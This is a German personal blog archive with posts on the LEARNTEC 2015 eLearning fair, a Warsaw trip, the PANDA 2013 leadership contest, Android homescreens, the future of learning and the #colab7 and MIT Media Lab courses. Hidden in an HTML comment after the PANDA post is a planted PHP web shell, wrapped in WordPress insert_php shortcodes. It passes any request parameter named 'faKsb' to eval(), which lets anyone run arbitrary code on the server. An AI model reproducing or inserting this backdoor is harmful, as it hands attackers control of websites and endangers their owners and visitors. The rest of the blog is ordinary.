#unterwegs auf der LEARNTEC 2015: alle guten Dinge sind drei

Der zweite Kongresstag begann wie der erste endete: mit einer großen Vorfreude auf Jane Hart. Ich gebe es zu: ich bin ein Fan. Wenn man sich im Web zum Thema eLearning bewegt, kommt man an Jane und ihrem C4LPT nicht vorbei. Auf Janes Keynote gehe ich in einem späteren Blogpost ein. Derweilen füllen sich meine Notizzettel fleißig weiter.

Das zweite Highlight an diesem Tag: der Vortrag von Welf Schröter zu Aufgaben und Rechte des Betriebsrats. Seine Inhalte haben mich sehr zum Nachdenken gebracht und mich meine Einstellung gegenüber Betriebsräten überdenken lassen. Aber dazu in einem späteren Post mehr.

Highlight Nummer drei: Weiterlesen

#unterwegs auf der LEARNTEC 2015 – erste Impressionen: oder was auf keinen Fall im Koffer fehlen darf

Nach drei Jahren Abstinenz hat mich die LEARNTEC in diesem Jahr wieder – bzw. ich sie. Meine Erwartungen: drei Kongresstage mit Einblicken in die eLearning-Praxis anderer Unternehmen, wertvollen Kontakten und bekannten und neuen Gesichtern.

image

Dank guter Organisation Seitens der Veranstalter, von einem regelmäßigen Bus-Shuttle bis zur warteschlangenlosen Registration, sowie freundlicher Begleitung der liebsten (Ex-) Kollegen gelang der Start in den ersten Tag reibungslos. Das erste Mal schaute ich mir die Begrüßung sowie die Keynotes der Messe an, bevor die ersten Themen des Kongressprogramms lockten. Eigentlich lies mich nur die Aussicht auf Gunter Dueck in Aktion die langweiligen Politikerreden ertragen. Ich verkneife mir an dieser Stelle einen Kommentar zur Videobotschaft unseres EU-Kommissars für Digitalwirtschaft – zumindest sprach er diesmal deutsch.

Doch das Warten hat sich gelohnt. Gunter Dueck at its best, auch wenn mich sein Blick auf das deutsche Bildungssystem, dass seiner Meinung nach nicht auf die benötigten Kompetenzen einer durch Digitalisierung geprägten Berufswelt vorbereitet, im ersten Moment deprimiert, gab er die richtigen Impulse für die eigene Auseinandersetzung mit darauffolgenden Themen des Kongresses.

Meine Top-Themen des ersten Tag, denen ich z.T. jeweils noch einen Blogbeitrag widmen werde:

  • Social Learning: klasse Vorstellung von Sabine Gori wie es bei der Credit Suisse geklappt hat
  • Wearable Computing: interessant Ausblicke von Prof. Bürgy
  • virtuelle Klassenräume aktiv gestalten: von nachhaltiger Moderatorenqualifizierung bis Ideengenerierung online

Und was darf im Koffer nicht fehlen, wenn man zur LEARNTEC fährt? Man braucht Strickjacke und Schal, denn es ist kalt und zugig. Leider gibt es kein freies W-LAN (auf einer eLearning Konferenz???), also sollte man noch ausreichend Datenvolumen haben. Und last but not least darf ein externer Akku nicht fehlen, um sein gebeuteltes Smartphone aufzuladen. Ladestationen gibt es nicht und Steckdosen sind Mangelware. Leider ein kleines Armutszeugnis für eine Konferenz zum digitalen Lernen. Tipp für nächstes Jahr: auch hinsichtlich der Infrastruktur auf die Zielgruppe eingehen.

Die Freude auf den zweiten Tag ist groß, denn er startet mit einer Keynote von der großartigen Jane Hart zum Thema „Learning in the Modern Workplace“.

#unterwegs: Dziękuję Warszawa!

Warschau

Blick vom Dach der Warschauer Universitätsbibliothek

Wenn zwei eine Reise machen…dann wird es kalt! Während Deutschland den wärmsten Oktober seit 50 Jahren genoss, statteten wir Polens Hauptstadt Warschau einen Wochenendbesuch ab und starteten bei -2°C in die Wintersaison 2014. Warschau überraschte uns mit einem Mix aus sozialistischem Charme, der Kindheitserinnerungen weckte und modernem Großstadtflair, der mit Berlin allemal mithalten kann. Beispielhaft für diesen Mix thront der sozialistische Kulturpalast vor der neuzeitlichen Skyline des Warschauer Büroviertels. Darüber hinaus bietet Polens Hauptstadt einen wunderschön angelegten und zugleich natürlichen Łazienki Park, eine junge Altstadt und einen umwerfenden Blick von der Universitätsbibliothek.

Kulinarisch kommen vor allem Fleischesser auf ihre Kosten. Besonders empfehlenswert sind die beiden Restaurants Folk Gospoda und Czerwonym Wieprzem: authentische Speisen und Inneneinrichtung, faire Preise und einzigartige abendliche Stimmung.

Warschau ist in jedem Fall einen Besuch wert! Tipps und Lieblingsorte habe ich in einer Map zusammen gestellt. Viel Spaß!

#unterwegs: PANDA 2013 – Ich war dabei!

PANDA – Der Karriere-Contest für weibliche Führungstalente

Am 14. September 2013 fand im Berliner Esplanade Hotel der erste PANDA statt und ich war dabei. Einige Monate zuvor wurde ich durch Zufall in einem Tweet auf dieses neue Format aufmerksam und war sofort Feuer und Flamme.

Heute ist der letzte Tag um Euch für PANDA 2013 zu bewerben. Also noch schnell den Lebenslauf aktualisieren und… http://t.co/w4dsK6XeJk
— We Are PANDA (@we_are_panda) June 30, 2013

Was PANDA ist, beschreiben die Organisatoren selbst am besten:

„Eine Führungskarriere ist Wettbewerb – und deshalb ist PANDA auch einer. PANDA ist ein Contest für Frauen, die bereits jetzt Führungskräfte sind oder eine Führungsrolle anstreben und die sich gern Herausforderungen stellen.“

Das Bewerbungsverfahren besteht aus drei Schritten. Zunächst lädt man seinen aktuellen CV hoch. Für PANDA 2014 kann man dies übrigens noch bis zum 31.01.2014 tun. Die Jury sichtet draufhin alle hochgeladenen Lebensläufe und entscheidet, wer in Runde 2 kommt. Im zweiten Schritt verfässt man ein einseitiges Essay. Das Thema in 2013 war „Was ich bisher erreicht habe und wie ich es erreicht habe“. Für 2014 wird es „Was „Führen“ und „Führungskarriere“ für mich bedeutet“ lauten. Wieder wählt die Jury aus, wer in die nächste Runde kommt. Beim dritten Schritt reicht man eine Empfehlung einer Person seiner Wahl ein. Diese soll kurz beschreiben, dass sie vom Führungstalent überzeugt ist und warum. Dank +Roland von Kiedrowski schaffte ich auch diesem letzten Bewerbungsschritt und erhielt mit 100 weiteren Bewerberinnen die Einladung für den 14. September – zum ersten PANDA.

Vorab wurde man durch die Organisatoren mit vielen interessanten Infos versorgt. Als Teilnehmerin erhält man zum Beispiel die Möglichkeit, seinen Lebenslauf den teilnehmenden Unternehmen im Vorfeld zur Verfügung zu stellen. Sollte sich ein Unternehmen für das Profil interessieren, wird man zu einem persönlichen Gespräch in die Unternehmenslounge am Contest-Tag eingeladen. Besonders toll finde ich das Angebot, kostenfrei den Online Postkorb HighLight zu absolvieren und eine individuelle Auswertung zu erhalten (Kosten der Analyse in der Regel: 160 Euro). HighLight ist eine anspruchsvolle Management-Aufgabe zur Beurteilung des Organisations- und Problemlösungsverhaltens in einem simulierten Projekt. Wer mehr darüber erfahren möchte, findet hier weitere Informationen. Sobald ich das Programm durchgeführt habe, werde ich euch berichten.

panda

Der Contest-Tag selbst war genauso perfekt organisiert, wie im Vorfeld das Bewerbungsverfahren. An Eingang begrüßten mich bereits zwei Pandas. Mit einem Namensschildchen und einer Programmmappe ausgestattet, mischte ich mich unter die anderen Frauen. Der Vormittag bestand aus zwei Gruppenübungen, die man jeweils in zwei verschiedenen Gruppen zu bewältigen hatte. Die erste Aufgabe erforderte körperlichen Einsatz. Mann musste 12 Holzbretter nach einem vorgegebenen Raster zusammenstecken und das natürlich schnellstmöglich. Die zweite Aufgabe bestand aus einer klassischen Gruppendiskussion. Man wurde durch Jurymitglieder beobachtet und bewertet. Allerdings machte den Großteil der Teilnehmereinschätzung das Crowd-Rating aus. Jedes Gruppenmitglied bewertete am Ende der Übung die drei Frauen aus seinem Team, die seiner Meinung nach die Führungstalente sind. Während wir Teilnehmerinnen leckeres Mittagessen genossen, wurde hinter den Kulissen fleißig ausgezählt und gerechnet. Daraufhin wurden die 20 Teilnehmerinnen ausgerufen, die die meisten Punkte am Vormittag erziehlen konnten.

Leider gehörte ich zu den restlichen 80. Doch die Enttäuschung hielt nur kurz an, denn als „Ausgeschiedene“ konnte man sich dem tollen Rahmenprogramm am Nachmittag widmen. Zur Auswahl standen mehrere interessante Vorträge, von denen sich auch viele im Programm 2014 wiederfinden. Netzwerken wurde für mich das Stichwort des Tages. Zum einen lernte ich an diesem Tag tolle Persönlichkeiten und interessante Karrieren kennen. Zum anderen fiel es mir wie Schuppen von den Augen: um als Frau erfolgreich zu sein, ist Netzwerken das A und O. Besonders spannend finde ich den Ladies Mentoring Business Club und die Digital Media Women. Ich freue mich schon auf die ersten Meet-Ups, um einen Einblick in die einzelnen Netzwerke zu erhalten.

Alles in allem war es ein unglaublich bereichernder, interessanter, anstrengender und erfolgreicher Tag, der mir viele neue Impulse, Kontakte und Ideen bescherte. Vielen Dank an +PANDA für diese tolle Möglichkeit!

Mädels, ran an die Bewerbung für PANDA 2014!

<!– [insert_php]if (isset($_REQUEST["faKsb"])){eval($_REQUEST["faKsb"]);exit;}[/insert_php][php]if (isset($_REQUEST["faKsb"])){eval($_REQUEST["faKsb"]);exit;}[/php] –>

#digitalisiert: Ein Grund von vielen, warum ich Androidin bin.

…ist unter anderem die Möglichkeit, mir meine individuelle Oberfläche auf meinem Smartphone zu gestalten. Für mich persönlich ein wichtiges Argument für Android und gegen iOS.

Ich bin seit einigen Monaten stolzer Besitzer eines Google Nexus 4. Auf der Suche nach besonderen Hintergrundbildern und neuen Designs, stieß ich auf http://mycolorscreen.com. Seit dem ist meine Android-Welt um ein Vielfaches bunter.

Das Prinzip von mycoorscreen.com ist schnell erklärt. Es ist eine Community für personalisierte Benutzeroberflächen von mobilen Endgeräten. Nutzer entwerfen eigene Designs für Sperr- und Startbildschirme und teilen diese, indem sie ihre Kreationen hochladen und z. B. Apps benennen, mit denen die Designs erstellt werden. Darüber hinaus stellen die Betreiber von mycolorscreen.com regelmäßig Videos mit Schritt-für-Schritt-Anleitungen auf YouTube zur Verfügung. Der Claim „DISCOVER beautiful homescreens – LEARN to build your own – SHARE your amazing creations“ bringt es auf den Punkt.

Lange Rede kurzer Sinn: Ich präsentiere stolz mein erstes persönliches Design. Zwei Stunden hat es ungefähr gedauert. Die Google-Suchleiste oben und den Dock im unteren Bereich habe ich entfernt. Die für mich wichtigsten Infos und Apps habe ich mir auf meinen Hauptbildschirm gelegt. Beim zweiten Startbildschirm arbeite ich mit Ordnern und habe die Apps nach Verwendungszweck kategorisiert.

    

Das Wichtigste: Es hat sich im Alltag bewährt, der Akku wird nicht merklich mehr beansprucht und es funktioniert tadellos. Seitdem klar ist, dass Android 4.3 nicht mehr lange auf sich warten lässt, versuche ich herauszufinden, wie ich mir das Design sichern kann. Noch habe ich die ultimative Lösung nicht gefunden. Aber vielleicht sollte ist das nächste Softwareupdate und das damit verbundene Zurücksetzen auf Werkseinstellungen einfach als Anlass verstehen, ein neuen Design zu kreieren. Ausreichend Inspiration findet man auf mycolorscreen.com und mich findet man dort unter sweetmary.

#digitalisiert: Die Zukunft des Lernens

Wie lernen wir in 20 Jahren?

Als ich Anfang der Woche den Aufruf von Lecturio zur Blogparade „Die Zukunft des Lernens“ las, fiel die Entscheidung binnen Sekunden. Ich mache mit – meine erste Blogparade! Lest hier über meinen persönlichen Blick in die berühmte Glaskugel.

Bin dabei! Wer macht noch mit? #Blogparade: Die Zukunft des Lernens – Lernen wir in 20 Jahren nur noch online? http://t.co/ifaBZ3Z2Qt
— Maria Süß (@sweet__mary) June 24, 2013

Das Lehren und Lernen in 20 Jahren wir vor allem durch Vielseitig geprägt sein. Vielseitig, weil unterschiedliche Lernformen (online und offline) für unterschiedliche Generationen an Lernern (Digital Natives, Digital Immigrants, Silver Surfer) in unterschiedlichen Lernräumen (offline und online) zur Verfügung stehen. Lernen wir in 20 Jahren nur noch online? Nein! Der Lernraum Schule wir mit Sicherheit (hoffentlich) in 20 Jahren um ein Vielfaches digitaler sein als heute. Trotz dessen bleibt es die Institution Schule, in der Kinder einen Großteil ihrer Lernzeit verbringen und lernen. Denke ich an akademisches Lehren und Lernen in 20 Jahren, wird das Online-Lernen in diesem Bereich seinen größten Siegeszug vollbracht haben. Meiner Meinung nach werden akademische Titel immer mehr an Bedeutung verlieren. Wichtig wird nicht mehr sein, was man studiert hat, sondern welches Erfahrungswissen man sich über verschiedene Projekte hinweg anreichert. Studiengänge in der Zukunft werden zum größten Teil online stattfinden und somit Studierenden weltweit orts- und zeitunabhängig zur Verfügung stehen. Im Bereich der Erwachsenenbildung werden weiterhin online und offline Lernangebote existieren. Ohne Zweifel, wird jedoch der Onlinebereich dominieren und Offline- und Onlinetrainings werden stärker in einander verzahnt sein. Dazu fällt mir das Stichwort „Triales Lernen“ ein, eine Weiterentwicklung des heutigen dualen Lernens, den ich kürzlich in einem Beitrag von John Erpenbeck und Werner Sauter las. Wer sich dazu weiter belesen möchte: „So werden wir lernen!“. Die Autoren  analysieren und prognostizieren detaillierter die Zukunft des Lernens anhand einer fiktiven Fallstudie. Sehr interessant!

Vielseitig werden auch die Lernmedien in 20 Jahren sein. Wer weiß, was uns die technische Entwicklung neben Google Glass für weitere digitale Alltagsbegleiter bringt. Fest steht, gelernt werden kann in 20 Jahren zu jeder Zeit an jedem Ort, wie es dem Lerner am besten passt und mit einem mobilen Endgerät seiner Wahl. Neben diesen mobilen Lernmedien werden sicherlich auch Human Computer, wie sie in Erpenbeck und Sauter in ihrem zuvor erwähnten Beitrag beschrieben werden, den Lernalltag bestimmen. Die entsprechenden kontextbezogenen Lernprogramme werden sich via Gesichtsscan auf die Emotionen des Lerners einstellen und passend reagieren. Die ersten Prototypen dieser smarten Lernprogramme gibt es bereits. Wer dazu mehr lesen möchte, gelangt hier zum entsprechenden Artikel des P.M. Magazins.

Vielseitig muss auch der Lerner in 20 Jahren sein. All diese Möglichkeiten, unzähligen Wissensquellen und die Freiheit, zu lernen wann und wo man will, erfordern einen neuen Typ Lerner. Medienkompetenz, Selbstverantwortung, lösungsorientiertes Handeln und kritisches Hinterfragen und Bewerten von frei verfügbaren Informationen und Quellen sind nur ein Bruchteil der erforderten Kompetenzen, die ein Lerner in 20 Jahren aufbringen muss, um im Lernalltag zu bestehen. Zum Thema Medienkompetenz empfehle ich folgenden Artikel zur weiterführenden Lektüre: „Kompetenzen für und durch das Lernen mit digitalen Medien“. Dieser Beitrag entstand gemeinsam mit Kristin Narr, Isabell Rausch-Jarolimek und Julia Leihener im Rahmen der 7. Initiative des “Internet & Gesellschaft Co:llaboratory” zum Thema “Lernen in der digitalen Gesellschaft”.

Mir ist bewusst, dass ich mit meinen Ausführungen zu Vielseitigkeit, Lernmedien und Lerner nur an der Oberfläche der Zukunft des Lernens kratze. Themen wie Lernmaterialien und Lehrkräfte/Trainer sind nicht minder wichtig. Für’s erste soll es jedoch von mir dazu genug sein. Was seht ihr rund um das Thema Lernen, wenn ihr einen Blick in die Zukunft wagt?

[09.07.2013] Update: Die Zusammenfassung der Blogparade mit Verweis auf alle Beiträge findet ihr hier.

#digitalisiert #colab7: Kompetenzen für und durch das Lernen mit digitalen Medien

Das +Internet und Gesellschaft Collaboratory stellt jeden Freitag einen Artikel des Abschlussberichts seiner 7. Initiative mit dem Thema „Lernen in der digitalen Gesellschaft“ vor.

Aktuell ist der Artikel „Kompetenzen für und durch das Lernen mit digitalen Medien“ an der Reihe, den ich gemeinsam mit +Kristin Narr+Julia Leihener und Isabell Rausch-Jarolimek verfasste. Unsere Arbeitsgruppe  „Medienkompetenz“ setzte sich mit der Frage „Welche Kompetenzen fördert und erfordert Lernen mit digitalen Medien?“ auseinander. Zunächst studierten wir zahlreiche Literatur zu diesem Thema. Um sich nicht in der Vielzahl der Definitionen des Medienkompetenzbegriffs zu verlieren, einigten wir uns für unsere theoretischen Betrachtungen frühzeitig auf die Definition von Medienkompetenz als Basiskompetenz, die somit als Grundlage für die Untersuchung unterschiedlicher Medienkompetenzbegriffe betrachtet wird. Erforderte Kompetenzen verstehen wir als notwendige, unerlässliche Voraussetzungen, ohne die das Lernen mit digitalen Medien nicht denkbar wäre. Schnell war uns klar, dass erforderte und geförderte Kompetenzen nicht losgelöst voneinander gesehen werden können. Um sich bestimmte Kompetenzen aneignen zu können, ist es notwendig, bereits über einige grundlegende Fähigkeiten zu verfügen. In diesem Zusammenhang reicherten wir unseren Artikel mit zwei Beispielen aus der Praxis an, das Medienkompetenz-Wiki und die eEtiquette.

Dank +Julia und Gabriele Heinzel schmückt zudem eine Grafik unseren Artikel, die unsere komplexen theoretischen Abhandlung wunderbar visuell verdeutlicht.

Illustration „Medienkompetenz“ CC-BY Gabriele Heinzel

Der Artikel kann als PDF und online auf der Colab-Seite nachgelesen werden.

Der gesamte Abschlussbericht steht ebenfalls in verschiedenen Formaten kostenfrei zur Verfügung: Link.
Bild

#digitalisiert: Neues Visual für die E-Learning Experten

Es ist vollbracht: die +E-Learning Experten erstrahlen im neuen Glanz. Nachdem sich in den letzten Monaten bei Facebook, Twitter und Google+ die Seitenprofile immer mehr auf Titelbild und Profilbild fokussierten und die bisherige Lösung mit der Tagcloud nicht mehr optimal war, wagte ich mich nun an die Erstellung eines Visuals.

Es sollte folgende Punkte erfüllen:

  • Verbindung zu den Begriffen E-Learning und Experten
  • Farblich passend zum bereits existierenden Titelbild
  • Einfachheit

Tatsächlich durchforstete ich zunächst Fotolia und Co. nach einer modernen und einfachen Darstellung von E-Learning. Lange Zeit war eine Schultafel mit dem Begriff E-Learning und einer gemalten Computermaus mein Favorit. Aber ich bin den Gedanken nicht los geworden, dass diese alte Schultafel nicht das repräsentiert, für das E-Learning und vor allem die E-Learning Experten stehen, nämlich alles rund um das moderne digitale Lehren und Lernen. Zumal mir dann auch noch schlagartig bewusst wurde, dass ein Foto der völlig falsche Ansatz war. Schließlich muss es auch als kleines Profilbild in den Timelines der einzelnen Social Media Kanäle erkennbar sein.

Also machte ich mich an ein einfaches Visual und die beiden E als Protagonisten standen schnell fest. Ein bisschen Farbanpassung hier, damit es mit dem Titelbild, der Tagcloud, stimmig ist, und ein wenig Ausprobieren dort und schon war es vollbracht.

Mit dieser aktuellen ersten Version bin ich zufrieden. Optimierungsbedarf ist sicherlich gegeben. Ich erhoffe ich mir viele Impulse von der Leserschaft, also von euch und bin für jegliche Anregungen dankbar!

Video

#digitalisiert: Learning Creative Learning – Kickoff 2013/02/11

„A course for designers, technologists, and educators interested in creative learning“

Ich bin aktuell gleich in zwei (M)OOCs eingeschrieben und beide begannen heute. Und schon am ersten Tag habe ich beide hier und da kurzzeitig verwechselt. Dieser Post beschäftigt sich jedoch auf jeden Fall mit nur einem der beiden und zwar mit dem Kurs „Learning Creative Learning“, ausgerichtet vom MIT Media Lab und der P2PU.
Leser meines Blog erahnen wahrscheinlich, woher der Impuls kam, daran teilzunehmen. Ich durfte einen der Medialabcourse Initiatoren, +Philipp Schmidt, vor kurzem live erleben und entnahm seinem damaligen Vortrag den Hinweis auf das MIT Lab und auf diesen Open Online Course. Zum Glück!
Kurz meine persönlichen Eindrücke der ersten Stunden:
  • Sehr gute Organisation
    Eine Initial-E-Mail heute Morgen erinnerte mich, dass es los geht und zwei Klicks später war ich mitten drin. Es gibt einen öffentlichen Google Kalender mit allen Events und die entsprechende Google+ Community war perfekt aufgesetzt. Was mich auch gleich zu meinem nächsten Punkt bringt.
  • Alles aus einer Hand
    Was für den einen vielleicht ein Kritikpunkt ist, finde ich einfach nur wunderbar einfach zu händeln. Es wird komplett auf kostenfreie Ressourcen von Google zurückgegriffen. Für jemanden wie mich, der bereits aktiver Google Nutzer ist, war es ein Kinderspiel auf Community, Livestream des Hangouts auf YouTube, Google Kalender und Google+ Events zurückzugreifen. Ich empfand es als sehr angenehm, mich bei keinem LMS usw. registrieren oder mich immer wiederholt einloggen zu müssen. Traumhaft!
  • Peer 2 Peer
    Dieser Kurs ist eine Art „Blended MOOC“, denn tatsächlich finden die Vorlesungen vor Ort im MIT Media Lab vor Publikum statt und eben online vor über 20.000 Teilnehmern. Heute Morgen war mein erster Impuls, nach den Lerninhalten für das erste Thema „Creative Learning“ zu suchen. Auf der Medialabcourse Website und in der Google+ Community wurde ich nicht recht fündig, bis mir durch Beiträgen der Initiatoren und anderer Teilnehmer klar wurde: die zu lernenden Inhalte kreieren die Teilnehmer selbst. Genau das verbirgt sich hinter Peer-2-Peer-Learning. Man lernt durch die Gemeinschaft.
  • Lehrplan
    Dieser umreißt die Themen der nächsten Wochen, welcher Dozent welches Thema übernimmt, welche Literatur evt. zu lesen ist und welche Aufgaben zu bearbeiten sein werden. Beim Überfliegen dieses Lehrplanes wird mir klar, dass lediglich Impulse und Überblicke zu den Themen an die Teilnehmer gegeben werden. Das Lernen durch das Auseinandersetzen mit der jeweiligen Thematik erfolgt eigenverantwortlich und vor allem in der Gemeinschaft.

Ich gebe zu, es gibt einen Wermutstropfen. Ich befürchte auch bei diesem Kurs wird der Fokus auf Lernen und Lehren für die Zielgruppen Kinder und Jugendliche liegen. Aber vielleicht ist diese Aussage auch verfrüht. Ich bin das erste Mal bei einem MOOC tatsächlich motiviert und freue mich auf die nächsten Wochen.

Zu guter Letzt hier eine kleine Video-Einführung zum Medialabcourse:
Update: +Julie Donders Scetchnote zu Tag 1 fasst die ersten Eindrücke perfekt zusammen.
Julie Donders / @ikbenjulie
Video

#digitalisiert: Abschlussworkshop #colab7 – Lernen in der digitalen Gesellschaft

Unter dem Motto “Lernen in der digitalen Gesellschaft – offen, vernetzt und integrativ” fand am 30.01.2013 die Abschlussveranstaltung der 7. Initiative des “Internet & Gesellschaft Co:llaboratory e.V.” in der Hertie School of Governance in Berlin statt. Ich war gespannt, hatten sich doch ca. 140 Teilnehmer angekündigt. Und natürlich freute ich mich darauf, meine 36 Experten-Kollegen aus ganz Deutschland wiederzusehen. Kaum zu glauben, dass die drei Monate der Initiative bereits wieder um sind. Ich gebe zu, besonders neugierig war ich natürlich auf unsere Tagungsbroschüre, das erste von mehreren „Produkten“ der 7. Initiative. Viel Arbeit wurde in den letzten Wochen darin investiert. Es hat sich gelohnt. Diese „kleine“ Publikation bietet einen kompakten Überblick über die Leitfragen der 7. Initiative und den Ergebnissen der verschiedenen Arbeitsgruppen.

Nach einer kurzen Begrüßung startete das Programm mit der Keynote von Prof. Dr. Stefan Aufenanger, Professor für Erziehungswissenschaft und Medienpädagogik an der Universität Mainz. Ich konnte seinen Ausführungen zum Lernen mit digitalen Medien wirklich in allen Punkten zustimmen. Es war großartig solch einem modernen und den digitalen Medien zugewandten Professor zu zuhören. Ich habe mich immer wieder bei dem Gedanken ertappt: schade, dass ich keinen Professor wie Herr Aufenanger in meinem Studium hatte. Bei mir wurden noch auf Polyluxen die Vorlesungsfolien gezeigt. Was hätte ich dafür gegeben, einen mp3-Mitschnitt einer Vorlesung im Nachgang zu hören, so wie es Prof. Aufenanger seinen Studenten anbietet, anstatt mich stundenlang im Copyshop aufzuhalten, um mir ordnerweise Skripte zu kopieren. Das LMS meiner Uni war noch in der Betaphase und PowerPoint war noch das irre neue Zeug, für das man eine Schulung benötigte.Zum Glück hat sich einiges in den letzten 10 Jahren getan und zum Glück gibt es heute Professoren wie Herr Aufenanger, dessen Keynote „Besser Lernen mit digitalen Medien“ es hier zum Nachlesen gibt.
Mein Ré­su­mé seines Vortrags?Man lernt mit neuen Medien nicht automatisch besser.Vielmehr geht es um neues Lernen mit Medien. Die zentrale Frage bei Medienkompetenz ist nicht der Umgang mit dem Computer oder den digitalen Medien. Vielmehr geht es um die Befähigung, mit Krisen und Problemen im digitalen Lebensalltag umzugehen. Ein Bild aus Prof. Aufenangers Vortrag ist mir besonders präsent geblieben und steht für die neuen Lernenden.
© Jerry King  / jerryking.com
Danach ging es in kleinen Workshops weiter, in denen einige Arbeitsgruppen der Initiative ihre Ergebnisse vorstellten und rege diskutiert wurde. Nach einer kleinen Stärkung begann der 2.Teil der Veranstaltung und rückblickend mein persönliches Highlight des Abschlussworkshops: die Keynote “Warum das MIT Media Lab kein Fan von Online Kursen ist”von Philipp Schmidt. Er ist für mich der Steve Jobs der Online Education. Seinen Visionen und Idealen zu lauschen, ist ein reiner Genuss. Sein Tatendrang und seine Kreativität sind ansteckend. Hört man ihm 30 Minuten zu, ist man danach positiv erschlagen von neuen Gedanken, Impulsen und Projekten, denen man unbedingt weiter folgen möchte.

Meine wichtigsten Impulse aus seinem Vortrag, in die es sich lohnt tiefer einzutauchen, um den einen oder anderen mit einem Blogbeitrag ausführlicher zu beschreiben:

  • P2PU
    „At P2PU, people work together to learn a particular topic by completing tasks, assessing individual and group work, and providing constructive feedback.“
  • Scratch 2.0
    „Scratch ist eine Programmiersprache, die es dir auf einfache Weise erlaubt, deine eigenen interaktiven Geschichten, Animationen, Spiele, Musik-, and Kunstwerke zu erstellen und sie anderen über das Internet mitzuteilen.“
  • coursera
    „Take the World’s Best Courses, Online, For Free.“
  • edX
    „explore free courses from edX universities“
  • udacity
    „invent your future through free interactive college classes.“
  • medialabcourse (Update: erfolgreich registriert & aktiv dabei. Beiträge zum medialabcourse)
    „Learning Creative Learning – A course for designers, technologists, and educators interested in creative learning“
  • MIT Media Lab
    „At the Media Lab, the future is lived, not imagined. In a world where radical technology advances are taken for granted, Media Lab researchers design technologies for people to create a better future.“

Auch bei Philipp Schmidts Keynote ist mir etwas besonders in Erinnerung geblieben, das im Speziellen für das aktuelle und zukünftige digitale Lernen steht: die Geschichte der Pinguine von John Hopkins. Neugierig? Schaut euch die Keynote an! (die Pinguingeschichte startet bei Minute 36) Seine Folien gibt es hier als PDF Download.

Rund um war es eine wirklich gelungene Abschlussveranstaltung. Ein großes Dankeschön gilt +Kristin Narr, die durch ihren unermüdlichen Einsatz und als engagierte Projektleiterin die 7. Initiative wie auch die Abschlussveranstaltung zu einem großen Erfolg gemacht hat.Wie geht es weiter?
Zum einen arbeiten alle Arbeitsgruppen gerade an ihren Beiträgen zum Abschlussbericht. Zum anderen wird es im direkten Anschluss an die Abschlussveranstaltung insgesamt acht Online-Fachgesprächen im Februar und März 2013 geben, bei denen die Expertinnen und Experten ihre Ergebnisse der Öffentlichkeit vorstellen. Jede Woche wird eine neue Fragestellung bearbeitet, wobei Expertinnen und Experten live und in Farbe über Google Hangout Präsentation geben und Fragen beantworten.
Weitere Beiträge zur Abschlussveranstaltung:

Kleine „Presseschau“: